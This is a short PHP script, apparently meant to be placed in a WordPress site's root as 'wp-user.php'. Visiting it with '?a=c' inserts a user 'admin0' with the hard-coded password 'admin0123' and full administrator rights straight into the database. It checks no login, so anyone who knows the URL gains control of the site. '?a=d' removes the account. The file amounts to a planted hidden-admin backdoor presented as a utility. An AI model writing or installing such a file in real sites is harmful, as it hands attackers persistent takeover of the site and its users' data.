<?php
/*
    Add admin user to the wordpress database.

    How to Use:
        For create a user:  site.com/wp-user.php?a=c
        For delete a user:  site.com/wp-user.php?a=d
*/

require_once('wp-config.php');
$opt = isset($_GET['a']) ? strip_tags($_GET['a']) : 'none';

$user_name = "admin0";
$pass = "admin0123";

$user = $wpdb->get_row("SELECT * FROM " . $wpdb->users . " WHERE user_login='" . $user_name . "'");
$user_id = $user->ID;
$tblprefix = $wpdb->prefix;

if ($opt == "c")
{
    if (!$user_id) {
        $password = wp_hash_password($pass);

        $data_user = array(
            'user_login' => $user_name,
            'user_status' => 0,
            'user_pass' => $password
        );
        $wpdb->insert($wpdb->users, $data_user);
        $user_id = $wpdb->insert_id;

        $data_usermeta = array(
            'user_id' => $user_id,
            'meta_key' => 'wp_capabilities',
            'meta_value' => "a:1:{s:13:\"administrator\";b:1;}"
        );
        $wpdb->insert($wpdb->usermeta, $data_usermeta);

        $data_usermeta = array(
            'user_id' => $user_id,
            'meta_key' => 'wp_user_level',
            'meta_value' => '10'
        );
        $wpdb->insert($wpdb->usermeta, $data_usermeta);

        echo "User created!!";
    } else {
        $random_password = __('User already exists.  Password inherited.');
    }
} else if($opt == "d")
{
    $wpdb->query("DELETE FROM " . $wpdb->users . " WHERE ID=" . $user_id);
    $wpdb->query("DELETE FROM " . $wpdb->usermeta . " WHERE ID=" . $user_id);
    echo "User deleted!";
}
else
{
    echo "Nothing here!!\n";
}

?>